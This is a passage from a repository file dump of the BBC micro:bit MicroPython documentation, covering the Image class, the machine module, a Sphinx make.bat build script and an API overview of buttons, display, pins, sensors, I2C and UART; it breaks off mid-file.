    "content": "Image\n*****\n\n.. py:module:: microbit\n\nThe ``Image`` class is used to create images that can be displayed easily on\nthe device's LED matrix. Given an image object it's possible to display it via\nthe ``display`` API::\n\n    display.show(Image.HAPPY)\n\n.. image:: image-smile.png\n\nThere are four ways in which you can construct an image:\n\n- ``Image()`` - Create a blank 5x5 image\n\n- ``Image(string)`` - Create an image by parsing the string, a single character\n  returns that glyph\n\n- ``Image(width, height)`` - Create a blank image of given size\n\n- ``Image(width, height, buffer)`` - Create an image from the given buffer\n\n\nClasses\n=======\n\n.. py:class::\n    Image(string)\n    Image(width=None, height=None, buffer=None)\n\n    If ``string`` is used, it has to consist of digits 0-9 arranged into\n    lines, describing the image, for example::\n\n        image = Image(\"90009:\"\n                      \"09090:\"\n                      \"00900:\"\n                      \"09090:\"\n                      \"90009\")\n\n    will create a 5×5 image of an X. The end of a line is indicated by a colon.\n    It's also possible to use a newline (\\n) to indicate the end of a line\n    like this::\n\n        image = Image(\"90009\\n\"\n                      \"09090\\n\"\n                      \"00900\\n\"\n                      \"09090\\n\"\n                      \"90009\")\n\n    The other form creates an empty image with ``width`` columns and\n    ``height`` rows. Optionally ``buffer`` can be an array of\n    ``width``×``height`` integers in range 0-9 to initialize the image::\n   \n        Image(2, 2, b'\\x08\\x08\\x08\\x08')\n\n    or::\n\n    \tImage(2, 2, bytearray([9,9,9,9]))\n\t\n    Will create a 2 x 2 pixel image at full brightness.\n    \n    .. note::\n    \n        Keyword arguments cannot be passed to ``buffer``.\n\n    .. py:method:: width()\n\n        Return the number of columns in the image.\n\n\n    .. py:method:: height()\n\n        Return the numbers of rows in the image.\n\n\n    .. py:method:: set_pixel(x, y, value)\n\n        Set the brightness of the pixel at column ``x`` and row ``y`` to the\n        ``value``, which has to be between 0 (dark) and 9 (bright).\n\n        This method will raise an exception when called on any of the built-in\n        read-only images, like ``Image.HEART``.\n\n\n    .. py:method:: get_pixel(x, y)\n\n        Return the brightness of pixel at column ``x`` and row ``y`` as an\n        integer between 0 and 9.\n\n\n    .. py:method:: shift_left(n)\n\n        Return a new image created by shifting the picture left by ``n``\n        columns.\n\n\n    .. py:method:: shift_right(n)\n\n        Same as ``image.shift_left(-n)``.\n\n    .. py:method:: shift_up(n)\n\n        Return a new image created by shifting the picture up by ``n`` rows.\n\n\n    .. py:method:: shift_down(n)\n\n        Same as ``image.shift_up(-n)``.\n\n    .. py:method:: crop(x, y, w, h)\n\n        Return a new image by cropping the picture to a width of ``w`` and a\n\theight of ``h``, starting with the pixel at column ``x`` and row ``y``.\n\n    .. py:method:: copy()\n\n        Return an exact copy of the image.\n\n    .. py:method:: invert()\n\n        Return a new image by inverting the brightness of the pixels in the\n        source image.\n\n    .. py:method:: fill(value)\n\n        Set the brightness of all the pixels in the image to the\n        ``value``, which has to be between 0 (dark) and 9 (bright).\n\n        This method will raise an exception when called on any of the built-in\n        read-only images, like ``Image.HEART``.\n\n    .. py:method:: blit(src, x, y, w, h, xdest=0, ydest=0)\n\n        Copy the rectangle defined by ``x``, ``y``, ``w``, ``h`` from the image ``src`` into\n        this image at ``xdest``, ``ydest``.\n        Areas in the source rectangle, but outside the source image are treated as having a value of 0.\n\n        ``shift_left()``, ``shift_right()``, ``shift_up()``, ``shift_down()`` and ``crop()``\n        can are all implemented by using ``blit()``.\n        For example, img.crop(x, y, w, h) can be implemented as::\n\n            def crop(self, x, y, w, h):\n                res = Image(w, h)\n                res.blit(self, x, y, w, h)\n                return res\n\n\nAttributes\n==========\n\nThe ``Image`` class also has the following built-in instances of itself\nincluded as its attributes (the attribute names indicate what the image\nrepresents):\n\n    * ``Image.HEART``\n    * ``Image.HEART_SMALL``\n    * ``Image.HAPPY``\n    * ``Image.SMILE``\n    * ``Image.SAD``\n    * ``Image.CONFUSED``\n    * ``Image.ANGRY``\n    * ``Image.ASLEEP``\n    * ``Image.SURPRISED``\n    * ``Image.SILLY``\n    * ``Image.FABULOUS``\n    * ``Image.MEH``\n    * ``Image.YES``\n    * ``Image.NO``\n    * ``Image.CLOCK12``, ``Image.CLOCK11``, ``Image.CLOCK10``, ``Image.CLOCK9``,\n      ``Image.CLOCK8``, ``Image.CLOCK7``, ``Image.CLOCK6``, ``Image.CLOCK5``,\n      ``Image.CLOCK4``, ``Image.CLOCK3``, ``Image.CLOCK2``, ``Image.CLOCK1``\n    * ``Image.ARROW_N``, ``Image.ARROW_NE``, ``Image.ARROW_E``,\n      ``Image.ARROW_SE``, ``Image.ARROW_S``, ``Image.ARROW_SW``,\n      ``Image.ARROW_W``, ``Image.ARROW_NW``\n    * ``Image.TRIANGLE``\n    * ``Image.TRIANGLE_LEFT``\n    * ``Image.CHESSBOARD``\n    * ``Image.DIAMOND``\n    * ``Image.DIAMOND_SMALL``\n    * ``Image.SQUARE``\n    * ``Image.SQUARE_SMALL``\n    * ``Image.RABBIT``\n    * ``Image.COW``\n    * ``Image.MUSIC_CROTCHET``\n    * ``Image.MUSIC_QUAVER``\n    * ``Image.MUSIC_QUAVERS``\n    * ``Image.PITCHFORK``\n    * ``Image.XMAS``\n    * ``Image.PACMAN``\n    * ``Image.TARGET``\n    * ``Image.TSHIRT``\n    * ``Image.ROLLERSKATE``\n    * ``Image.DUCK``\n    * ``Image.HOUSE``\n    * ``Image.TORTOISE``\n    * ``Image.BUTTERFLY``\n    * ``Image.STICKFIGURE``\n    * ``Image.GHOST``\n    * ``Image.SWORD``\n    * ``Image.GIRAFFE``\n    * ``Image.SKULL``\n    * ``Image.UMBRELLA``\n    * ``Image.SNAKE``\n\nFinally, related collections of images have been grouped together::\n\n    * ``Image.ALL_CLOCKS``\n    * ``Image.ALL_ARROWS``\n\n\nOperations\n==========\n\n.. code::\n\n    repr(image)\n\nGet a compact string representation of the image.\n\n.. code::\n\n    str(image)\n\nGet a readable string representation of the image.\n\n.. code::\n\n    image1 + image2\n\nCreate a new image by adding the brightness values from the two images for\neach pixel.\n\n.. code::\n\n    image * n\n\nCreate a new image by multiplying the brightness of each pixel by ``n``.\n"
  },
  {
    "path": "micropython/docs/index.rst",
    "content": ".. BBC Microbit Micropython documentation master file, created by\n   sphinx-quickstart on Tue Oct 20 10:41:30 2015.\n   You can adapt this file completely to your liking, but it should at least\n   contain the root `toctree` directive.\n\nBBC micro:bit MicroPython documentation\n=======================================\n\nWelcome!\n\nThe BBC micro:bit is a small computing device for children. One of the\nlanguages it understands is the popular Python programming language. The\nversion of Python that runs on the BBC micro:bit is called MicroPython.\n\nThis documentation includes lessons for teachers\nand API documentation for developers (check out the index on the left). We hope\nyou enjoy developing for the BBC micro:bit using MicroPython.\n\nIf you're a new programmer, teacher or unsure where to start, begin with the tutorials.\n\n.. image:: comic.png\n\n.. note::\n\n    This project is under active development. Please help other\n    developers by adding tips, how-tos, and Q&A to this document.\n    Thanks!\n\nProjects related to MicroPython on the BBC micro:bit include:\n\n* `Mu <https://github.com/ntoll/mu>`_ - a simple code editor for kids, teachers and beginner programmers. Probably the easiest way for people to program MicroPython on the BBC micro:bit.\n* `uFlash <https://uflash.readthedocs.io/en/latest/>`_ - a command line tool for flashing raw Python scripts onto a BBC micro:bit.\n\n.. toctree::\n    :maxdepth: 2\n    :caption: Tutorials\n\n    tutorials/introduction\n    tutorials/hello\n    tutorials/images\n    tutorials/buttons\n    tutorials/io\n    tutorials/music\n    tutorials/random\n    tutorials/movement\n    tutorials/gestures\n    tutorials/direction\n    tutorials/storage\n    tutorials/speech\n    tutorials/network\n    tutorials/radio\n    tutorials/next\n\n.. toctree::\n   :maxdepth: 2\n   :caption: API Reference\n\n   microbit_micropython_api.rst\n   microbit.rst\n   accelerometer.rst\n   audio.rst\n   ble.rst\n   button.rst\n   compass.rst\n   display.rst\n   filesystem.rst\n   i2c.rst\n   image.rst\n   machine.rst\n   micropython.rst\n   music.rst\n   neopixel.rst\n   os.rst\n   pin.rst\n   radio.rst\n   random.rst\n   speech.rst\n   spi.rst\n   uart.rst\n   utime.rst\n\n.. toctree::\n   :maxdepth: 2\n   :caption: Developer Guide\n\n   devguide/installation\n   devguide/flashfirmware\n   devguide/repl\n   devguide/hexformat\n   devguide/devfaq\n   devguide/contributing\n\n.. toctree::\n   :maxdepth: 2\n   :caption: Indices and tables\n\n* :ref:`genindex`\n* :ref:`modindex`\n* :ref:`search`\n"
  },
  {
    "path": "micropython/docs/machine.rst",
    "content": "..\n   MicroPython license information\n   ===============================\n\n   The MIT License (MIT)\n\n   Copyright (c) 2013-2017 Damien P. George, and others\n\n   Permission is hereby granted, free of charge, to any person obtaining a copy\n   of this software and associated documentation files (the \"Software\"), to deal\n   in the Software without restriction, including without limitation the rights\n   to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n   copies of the Software, and to permit persons to whom the Software is\n   furnished to do so, subject to the following conditions:\n\n   The above copyright notice and this permission notice shall be included in\n   all copies or substantial portions of the Software.\n\n   THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n   IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n   FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n   AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n   LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n   OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n   THE SOFTWARE.\n   \n   \nMachine\n*******\n\n.. py:module:: machine\n\nThe machine module contains specific functions related to the micro:bit \nhardware. Most functions in this module allow to achieve direct and \nunrestricted access to and control of hardware blocks on a system (like CPU, \ntimers, buses, etc.). Used incorrectly, this can lead to malfunction, lockups, \ncrashes of your board, and in extreme cases, hardware damage.\n\n\nFunctions\n=========\n\n.. method:: machine.unique_id()\n\n    Returns a byte string with a unique identifier of a board. It will vary \n    from one board instance to another.\n\n\n.. method:: machine.reset()\n\n    Resets the device in a manner similar to pushing the external RESET button.\n\n\n.. method:: machine.freq()\n\n    Returns CPU frequency in hertz.\n\n\n.. method:: machine.disable_irq()\n\n    Disable interrupt requests. Returns the previous IRQ state which should be \n    considered an opaque value. This return value should be passed to the \n    :func:`machine.enable_irq()` function to restore interrupts to their \n    original state, before :func:`machine.disable_irq()` was called.\n\n\n.. method:: machine.enable_irq()\n\n    Re-enable interrupt requests. The *state* parameter should be the value \n    that was returned from the most recent call to the\n    :func:`machine.disable_irq()` function.\n\n\n.. method:: machine.time_pulse_us(pin, pulse_level, timeout_us=1000000)\n\n    Time a pulse on the given *pin*, and return the duration of the pulse in \n    microseconds. The *pulse_level* argument should be 0 to time a low pulse or\n    1 to time a high pulse.\n\n    If the current input value of the pin is different to *pulse_level*, the \n    function first (*) waits until the pin input becomes equal to \n    *pulse_level*, then (**) times the duration that the pin is equal to \n    *pulse_level*. If the pin is already equal to *pulse_level* then timing \n    starts straight away.\n\n    The function will return -2 if there was timeout waiting for condition \n    marked (*) above, and -1 if there was timeout during the main measurement, \n    marked (**) above. The timeout is the same for both cases and given by \n    *timeout_us* (which is in microseconds).\n\n\nReading Memory\n==============\n\nThe ``machine`` module allows you to read from the device's memory, getting 1 \nbyte (8 bits; ``mem8``), 2 byte (16 bits; ``mem16``), or 4 byte (32 bits; \n``mem32``) words from physical addresses. For example: ``mem8[0x00]`` reads 1 \nbyte on physical address ``0x00``. This has a number of uses, for example if \nyou'd like to read data from the nRF51 registers."
  },
  {
    "path": "micropython/docs/make.bat",
    "content": "@ECHO OFF\r\n\r\nREM Command file for Sphinx documentation\r\n\r\nif \"%SPHINXBUILD%\" == \"\" (\r\n\tset SPHINXBUILD=sphinx-build\r\n)\r\nset BUILDDIR=_build\r\nset ALLSPHINXOPTS=-d %BUILDDIR%/doctrees %SPHINXOPTS% .\r\nset I18NSPHINXOPTS=%SPHINXOPTS% .\r\nif NOT \"%PAPER%\" == \"\" (\r\n\tset ALLSPHINXOPTS=-D latex_paper_size=%PAPER% %ALLSPHINXOPTS%\r\n\tset I18NSPHINXOPTS=-D latex_paper_size=%PAPER% %I18NSPHINXOPTS%\r\n)\r\n\r\nif \"%1\" == \"\" goto help\r\n\r\nif \"%1\" == \"help\" (\r\n\t:help\r\n\techo.Please use `make ^<target^>` where ^<target^> is one of\r\n\techo.  html       to make standalone HTML files\r\n\techo.  dirhtml    to make HTML files named index.html in directories\r\n\techo.  singlehtml to make a single large HTML file\r\n\techo.  pickle     to make pickle files\r\n\techo.  json       to make JSON files\r\n\techo.  htmlhelp   to make HTML files and a HTML help project\r\n\techo.  qthelp     to make HTML files and a qthelp project\r\n\techo.  devhelp    to make HTML files and a Devhelp project\r\n\techo.  epub       to make an epub\r\n\techo.  latex      to make LaTeX files, you can set PAPER=a4 or PAPER=letter\r\n\techo.  text       to make text files\r\n\techo.  man        to make manual pages\r\n\techo.  texinfo    to make Texinfo files\r\n\techo.  gettext    to make PO message catalogs\r\n\techo.  changes    to make an overview over all changed/added/deprecated items\r\n\techo.  xml        to make Docutils-native XML files\r\n\techo.  pseudoxml  to make pseudoxml-XML files for display purposes\r\n\techo.  linkcheck  to check all external links for integrity\r\n\techo.  doctest    to run all doctests embedded in the documentation if enabled\r\n\tgoto end\r\n)\r\n\r\nif \"%1\" == \"clean\" (\r\n\tfor /d %%i in (%BUILDDIR%\\*) do rmdir /q /s %%i\r\n\tdel /q /s %BUILDDIR%\\*\r\n\tgoto end\r\n)\r\n\r\n\r\n%SPHINXBUILD% 2> nul\r\nif errorlevel 9009 (\r\n\techo.\r\n\techo.The 'sphinx-build' command was not found. Make sure you have Sphinx\r\n\techo.installed, then set the SPHINXBUILD environment variable to point\r\n\techo.to the full path of the 'sphinx-build' executable. Alternatively you\r\n\techo.may add the Sphinx directory to PATH.\r\n\techo.\r\n\techo.If you don't have Sphinx installed, grab it from\r\n\techo.http://sphinx-doc.org/\r\n\texit /b 1\r\n)\r\n\r\nif \"%1\" == \"html\" (\r\n\t%SPHINXBUILD% -b html %ALLSPHINXOPTS% %BUILDDIR%/html\r\n\tif errorlevel 1 exit /b 1\r\n\techo.\r\n\techo.Build finished. The HTML pages are in %BUILDDIR%/html.\r\n\tgoto end\r\n)\r\n\r\nif \"%1\" == \"dirhtml\" (\r\n\t%SPHINXBUILD% -b dirhtml %ALLSPHINXOPTS% %BUILDDIR%/dirhtml\r\n\tif errorlevel 1 exit /b 1\r\n\techo.\r\n\techo.Build finished. The HTML pages are in %BUILDDIR%/dirhtml.\r\n\tgoto end\r\n)\r\n\r\nif \"%1\" == \"singlehtml\" (\r\n\t%SPHINXBUILD% -b singlehtml %ALLSPHINXOPTS% %BUILDDIR%/singlehtml\r\n\tif errorlevel 1 exit /b 1\r\n\techo.\r\n\techo.Build finished. The HTML pages are in %BUILDDIR%/singlehtml.\r\n\tgoto end\r\n)\r\n\r\nif \"%1\" == \"pickle\" (\r\n\t%SPHINXBUILD% -b pickle %ALLSPHINXOPTS% %BUILDDIR%/pickle\r\n\tif errorlevel 1 exit /b 1\r\n\techo.\r\n\techo.Build finished; now you can process the pickle files.\r\n\tgoto end\r\n)\r\n\r\nif \"%1\" == \"json\" (\r\n\t%SPHINXBUILD% -b json %ALLSPHINXOPTS% %BUILDDIR%/json\r\n\tif errorlevel 1 exit /b 1\r\n\techo.\r\n\techo.Build finished; now you can process the JSON files.\r\n\tgoto end\r\n)\r\n\r\nif \"%1\" == \"htmlhelp\" (\r\n\t%SPHINXBUILD% -b htmlhelp %ALLSPHINXOPTS% %BUILDDIR%/htmlhelp\r\n\tif errorlevel 1 exit /b 1\r\n\techo.\r\n\techo.Build finished; now you can run HTML Help Workshop with the ^\r\n.hhp project file in %BUILDDIR%/htmlhelp.\r\n\tgoto end\r\n)\r\n\r\nif \"%1\" == \"qthelp\" (\r\n\t%SPHINXBUILD% -b qthelp %ALLSPHINXOPTS% %BUILDDIR%/qthelp\r\n\tif errorlevel 1 exit /b 1\r\n\techo.\r\n\techo.Build finished; now you can run \"qcollectiongenerator\" with the ^\r\n.qhcp project file in %BUILDDIR%/qthelp, like this:\r\n\techo.^> qcollectiongenerator %BUILDDIR%\\qthelp\\BBCMicrobitMicropython.qhcp\r\n\techo.To view the help file:\r\n\techo.^> assistant -collectionFile %BUILDDIR%\\qthelp\\BBCMicrobitMicropython.ghc\r\n\tgoto end\r\n)\r\n\r\nif \"%1\" == \"devhelp\" (\r\n\t%SPHINXBUILD% -b devhelp %ALLSPHINXOPTS% %BUILDDIR%/devhelp\r\n\tif errorlevel 1 exit /b 1\r\n\techo.\r\n\techo.Build finished.\r\n\tgoto end\r\n)\r\n\r\nif \"%1\" == \"epub\" (\r\n\t%SPHINXBUILD% -b epub %ALLSPHINXOPTS% %BUILDDIR%/epub\r\n\tif errorlevel 1 exit /b 1\r\n\techo.\r\n\techo.Build finished. The epub file is in %BUILDDIR%/epub.\r\n\tgoto end\r\n)\r\n\r\nif \"%1\" == \"latex\" (\r\n\t%SPHINXBUILD% -b latex %ALLSPHINXOPTS% %BUILDDIR%/latex\r\n\tif errorlevel 1 exit /b 1\r\n\techo.\r\n\techo.Build finished; the LaTeX files are in %BUILDDIR%/latex.\r\n\tgoto end\r\n)\r\n\r\nif \"%1\" == \"latexpdf\" (\r\n\t%SPHINXBUILD% -b latex %ALLSPHINXOPTS% %BUILDDIR%/latex\r\n\tcd %BUILDDIR%/latex\r\n\tmake all-pdf\r\n\tcd %BUILDDIR%/..\r\n\techo.\r\n\techo.Build finished; the PDF files are in %BUILDDIR%/latex.\r\n\tgoto end\r\n)\r\n\r\nif \"%1\" == \"latexpdfja\" (\r\n\t%SPHINXBUILD% -b latex %ALLSPHINXOPTS% %BUILDDIR%/latex\r\n\tcd %BUILDDIR%/latex\r\n\tmake all-pdf-ja\r\n\tcd %BUILDDIR%/..\r\n\techo.\r\n\techo.Build finished; the PDF files are in %BUILDDIR%/latex.\r\n\tgoto end\r\n)\r\n\r\nif \"%1\" == \"text\" (\r\n\t%SPHINXBUILD% -b text %ALLSPHINXOPTS% %BUILDDIR%/text\r\n\tif errorlevel 1 exit /b 1\r\n\techo.\r\n\techo.Build finished. The text files are in %BUILDDIR%/text.\r\n\tgoto end\r\n)\r\n\r\nif \"%1\" == \"man\" (\r\n\t%SPHINXBUILD% -b man %ALLSPHINXOPTS% %BUILDDIR%/man\r\n\tif errorlevel 1 exit /b 1\r\n\techo.\r\n\techo.Build finished. The manual pages are in %BUILDDIR%/man.\r\n\tgoto end\r\n)\r\n\r\nif \"%1\" == \"texinfo\" (\r\n\t%SPHINXBUILD% -b texinfo %ALLSPHINXOPTS% %BUILDDIR%/texinfo\r\n\tif errorlevel 1 exit /b 1\r\n\techo.\r\n\techo.Build finished. The Texinfo files are in %BUILDDIR%/texinfo.\r\n\tgoto end\r\n)\r\n\r\nif \"%1\" == \"gettext\" (\r\n\t%SPHINXBUILD% -b gettext %I18NSPHINXOPTS% %BUILDDIR%/locale\r\n\tif errorlevel 1 exit /b 1\r\n\techo.\r\n\techo.Build finished. The message catalogs are in %BUILDDIR%/locale.\r\n\tgoto end\r\n)\r\n\r\nif \"%1\" == \"changes\" (\r\n\t%SPHINXBUILD% -b changes %ALLSPHINXOPTS% %BUILDDIR%/changes\r\n\tif errorlevel 1 exit /b 1\r\n\techo.\r\n\techo.The overview file is in %BUILDDIR%/changes.\r\n\tgoto end\r\n)\r\n\r\nif \"%1\" == \"linkcheck\" (\r\n\t%SPHINXBUILD% -b linkcheck %ALLSPHINXOPTS% %BUILDDIR%/linkcheck\r\n\tif errorlevel 1 exit /b 1\r\n\techo.\r\n\techo.Link check complete; look for any errors in the above output ^\r\nor in %BUILDDIR%/linkcheck/output.txt.\r\n\tgoto end\r\n)\r\n\r\nif \"%1\" == \"doctest\" (\r\n\t%SPHINXBUILD% -b doctest %ALLSPHINXOPTS% %BUILDDIR%/doctest\r\n\tif errorlevel 1 exit /b 1\r\n\techo.\r\n\techo.Testing of doctests in the sources finished, look at the ^\r\nresults in %BUILDDIR%/doctest/output.txt.\r\n\tgoto end\r\n)\r\n\r\nif \"%1\" == \"xml\" (\r\n\t%SPHINXBUILD% -b xml %ALLSPHINXOPTS% %BUILDDIR%/xml\r\n\tif errorlevel 1 exit /b 1\r\n\techo.\r\n\techo.Build finished. The XML files are in %BUILDDIR%/xml.\r\n\tgoto end\r\n)\r\n\r\nif \"%1\" == \"pseudoxml\" (\r\n\t%SPHINXBUILD% -b pseudoxml %ALLSPHINXOPTS% %BUILDDIR%/pseudoxml\r\n\tif errorlevel 1 exit /b 1\r\n\techo.\r\n\techo.Build finished. The pseudo-XML files are in %BUILDDIR%/pseudoxml.\r\n\tgoto end\r\n)\r\n\r\n:end\r\n"
  },
  {
    "path": "micropython/docs/microbit.rst",
    "content": "Microbit Module\n***************\n\n.. py:module:: microbit\n\n\nThe ``microbit`` module gives you access to all the hardware that is built-in\ninto your board.\n\n\nFunctions\n=========\n\n.. py:function:: panic(n)\n\n    Enter a panic mode. Requires restart. Pass in an arbitrary integer <= 255\n    to indicate a status::\n\n        microbit.panic(255)\n\n\n.. py:function:: reset()\n\n    Restart the board.\n\n\n.. py:function:: sleep(n)\n\n    Wait for ``n`` milliseconds. One second is 1000 milliseconds, so::\n\n        microbit.sleep(1000)\n\n    will pause the execution for one second.  ``n`` can be an integer or\n    a floating point number.\n\n\n.. py:function:: running_time()\n\n    Return the number of milliseconds since the board was switched on or\n    restarted.\n\n\n.. py:function:: temperature()\n\n    Return the temperature of the micro:bit in degrees Celcius.\n\n\nAttributes\n==========\n\n.. toctree::\n    :maxdepth: 1\n\n    button.rst\n    pin.rst\n\n\nClasses\n=======\n\n.. toctree::\n    :maxdepth: 1\n\n    image.rst\n\n\nModules\n=======\n\n.. toctree::\n    :maxdepth: 1\n\n    display.rst\n    uart.rst\n    spi.rst\n    i2c.rst\n    accelerometer.rst\n    compass.rst\n"
  },
  {
    "path": "micropython/docs/microbit_micropython_api.rst",
    "content": "micro:bit Micropython API\n*************************\n\nThe microbit module\n===================\n\nEverything directly related to interacting with the hardware lives in the `microbit` module.  For ease of use it's recommended you start all scripts with::\n\n    from microbit import *\n\nThe following documentation assumes you have done this.\n\nThere are a few functions available directly::\n\n    # sleep for the given number of milliseconds.\n    sleep(ms)\n    # returns the number of milliseconds since the micro:bit was last switched on.\n    running_time()\n    # makes the micro:bit enter panic mode (this usually happens when the DAL runs\n    # out of memory, and causes a sad face to be drawn on the display). The error\n    # code can be any arbitrary integer value.\n    panic(error_code)\n    # resets the micro:bit.\n    reset()\n\nThe rest of the functionality is provided by objects and classes in the microbit module, as described below.\n\nNote that the API exposes integers only (ie no floats are needed, but they may be accepted).  We thus use milliseconds for the standard time unit.\n\n.. note::\n    You can see a list of all available modules by writing ``help('modules')`` in the REPL.\n\nButtons\n-------\n\nThere are 2 buttons::\n\n    button_a\n    button_b\n\nThese are both objects and have the following methods::\n\n    # returns True or False to indicate if the button is pressed at the time of\n    # the method call.\n    button.is_pressed()\n    # returns True or False to indicate if the button was pressed since the device\n    # started or the last time this method was called.\n    button.was_pressed()\n    # returns the running total of button presses, and resets this counter to zero\n    button.get_presses()\n\nThe LED display\n---------------\n\nThe LED display is exposed via the `display` object::\n\n    # gets the brightness of the pixel (x,y). Brightness can be from 0 (the pixel\n    # is off) to 9 (the pixel is at maximum brightness).\n    display.get_pixel(x, y)\n    # sets the brightness of the pixel (x,y) to val (between 0 [off] and 9 [max\n    # brightness], inclusive).\n    display.set_pixel(x, y, val)\n    # clears the display.\n    display.clear()\n    # shows the image.\n    display.show(image, delay=0, wait=True, loop=False, clear=False)\n    # shows each image or letter in the iterable, with delay ms. in between each.\n    display.show(iterable, delay=400, wait=True, loop=False, clear=False)\n    # scrolls a string across the display (more exciting than display.show for\n    # written messages).\n    display.scroll(string, delay=400)\n\nPins\n----\n\nProvide digital and analog input and output functionality, for the pins in the connector. Some pins are connected internally to the I/O that drives the LED matrix and the buttons.\n\nEach pin is provided as an object directly in the ``microbit`` module.  This keeps the API relatively flat, making it very easy to use:\n\n    * pin0\n    * pin1\n    * ...\n    * pin15\n    * pin16\n    * *Warning: P17-P18 (inclusive) are unavailable.*\n    * pin19\n    * pin20\n\nEach of these pins are instances of the ``MicroBitPin`` class, which offers the following API::\n\n    # value can be 0, 1, False, True\n    pin.write_digital(value)\n    # returns either 1 or 0\n    pin.read_digital()\n    # value is between 0 and 1023\n    pin.write_analog(value)\n    # returns an integer between 0 and 1023\n    pin.read_analog()\n    # sets the period of the PWM output of the pin in milliseconds\n    # (see https://en.wikipedia.org/wiki/Pulse-width_modulation)\n    pin.set_analog_period(int)\n    # sets the period of the PWM output of the pin in microseconds\n    # (see https://en.wikipedia.org/wiki/Pulse-width_modulation)\n    pin.set_analog_period_microseconds(int)\n    # returns boolean\n    pin.is_touched()\n\nImages\n------\n\n.. note::\n\n    You don't always need to create one of these yourself - you can access the\n    image shown on the display directly with `display.image`. `display.image`\n    is just an instance of `Image`, so you can use all of the same methods.\n\nImages API::\n\n    # creates an empty 5x5 image\n    image = Image()\n    # create an image from a string - each character in the string represents an\n    # LED - 0 (or space) is off and 9 is maximum brightness. The colon \":\"\n    # indicates the end of a line.\n    image = Image('90009:09090:00900:09090:90009:')\n    # create an empty image of given size\n    image = Image(width, height)\n    # initialises an Image with the specified width and height. The buffer\n    # should be an array of length width * height\n    image = Image(width, height, buffer)\n\n    # methods\n    # returns the image's width (most often 5)\n    image.width()\n    # returns the image's height (most often 5)\n    image.height()\n    # sets the pixel at the specified position (between 0 and 9). May fail for\n    # constant images.\n    image.set_pixel(x, y, value)\n    # gets the pixel at the specified position (between 0 and 9)\n    image.get_pixel(x, y)\n    # returns a new image created by shifting the picture left 'n' times.\n    image.shift_left(n)\n    # returns a new image created by shifting the picture right 'n' times.\n    image.shift_right(n)\n    # returns a new image created by shifting the picture up 'n' times.\n    image.shift_up(n)\n    # returns a new image created by shifting the picture down 'n' times.\n    image.shift_down(n)\n    # get a compact string representation of the image\n    repr(image)\n    # get a more readable string representation of the image\n    str(image)\n\n    #operators\n    # returns a new image created by superimposing the two images\n    image + image\n    # returns a new image created by multiplying the brightness of each pixel by n\n    image * n\n\n    # built-in images.\n    Image.HEART\n    Image.HEART_SMALL\n    Image.HAPPY\n    Image.SMILE\n    Image.SAD\n    Image.CONFUSED\n    Image.ANGRY\n    Image.ASLEEP\n    Image.SURPRISED\n    Image.SILLY\n    Image.FABULOUS\n    Image.MEH\n    Image.YES\n    Image.NO\n    Image.CLOCK12 # clock at 12 o' clock\n    Image.CLOCK11\n    ... # many clocks (Image.CLOCKn)\n    Image.CLOCK1 # clock at 1 o'clock\n    Image.ARROW_N\n    ... # arrows pointing N, NE, E, SE, S, SW, W, NW (microbit.Image.ARROW_direction)\n    Image.ARROW_NW\n    Image.TRIANGLE\n    Image.TRIANGLE_LEFT\n    Image.CHESSBOARD\n    Image.DIAMOND\n    Image.DIAMOND_SMALL\n    Image.SQUARE\n    Image.SQUARE_SMALL\n    Image.RABBIT\n    Image.COW\n    Image.MUSIC_CROTCHET\n    Image.MUSIC_QUAVER\n    Image.MUSIC_QUAVERS\n    Image.PITCHFORK\n    Image.XMAS\n    Image.PACMAN\n    Image.TARGET\n    Image.TSHIRT\n    Image.ROLLERSKATE\n    Image.DUCK\n    Image.HOUSE\n    Image.TORTOISE\n    Image.BUTTERFLY\n    Image.STICKFIGURE\n    Image.GHOST\n    Image.SWORD\n    Image.GIRAFFE\n    Image.SKULL\n    Image.UMBRELLA\n    Image.SNAKE\n    # built-in lists - useful for animations, e.g. display.show(Image.ALL_CLOCKS)\n    Image.ALL_CLOCKS\n    Image.ALL_ARROWS\n\nThe accelerometer\n-----------------\n\nThe accelerometer is accessed via the ``accelerometer`` object::\n\n    # read the X axis of the device. Measured in milli-g.\n    accelerometer.get_x()\n    # read the Y axis of the device. Measured in milli-g.\n    accelerometer.get_y()\n    # read the Z axis of the device. Measured in milli-g.\n    accelerometer.get_z()\n    # get tuple of all three X, Y and Z readings (listed in that order).\n    accelerometer.get_values()\n    # return the name of the current gesture.\n    accelerometer.current_gesture()\n    # return True or False to indicate if the named gesture is currently active.\n    accelerometer.is_gesture(name)\n    # return True or False to indicate if the named gesture was active since the\n    # last call.\n    accelerometer.was_gesture(name)\n    # return a tuple of the gesture history. The most recent is listed last.\n    accelerometer.get_gestures()\n\nThe recognised gestures are: ``up``, ``down``, ``left``, ``right``, ``face up``, ``face down``, ``freefall``, ``3g``, ``6g``, ``8g``, ``shake``.\n\n\nThe compass\n-----------\n\nThe compass is accessed via the `compass` object::\n\n    # calibrate the compass (this is needed to get accurate readings).\n    compass.calibrate()\n    # return a numeric indication of degrees offset from \"north\".\n    compass.heading()\n    # return an numeric indication of the strength of magnetic field around\n    # the micro:bit.\n    compass.get_field_strength()\n    # returns True or False to indicate if the compass is calibrated.\n    compass.is_calibrated()\n    # resets the compass to a pre-calibration state.\n    compass.clear_calibration()\n\nI2C bus\n-------\n\nThere is an I2C bus on the micro:bit that is exposed via the `i2c` object.  It has the following methods::\n\n    # read n bytes from device with addr; repeat=True means a stop bit won't\n    # be sent.\n    i2c.read(addr, n, repeat=False)\n    # write buf to device with addr; repeat=True means a stop bit won't be sent.\n    i2c.write(addr, buf, repeat=False)\n\nUART\n----\n\nUse ``uart`` to communicate with a serial device connected to the device's I/O pins::\n\n    # set up communication (use pins 0 [TX] and 1 [RX]) with a baud rate of 9600.\n    uart.init()\n    # return True or False to indicate if there are incoming characters waiting to\n    # be read.\n    uart.any()\n    # return (read) n incoming characters.\n    uart.read(n)\n    # return (read) as much incoming data as possible.\n    uart.read()\n    # return (read) all the characters to a newline character is reached.\n    uart.readline()\n    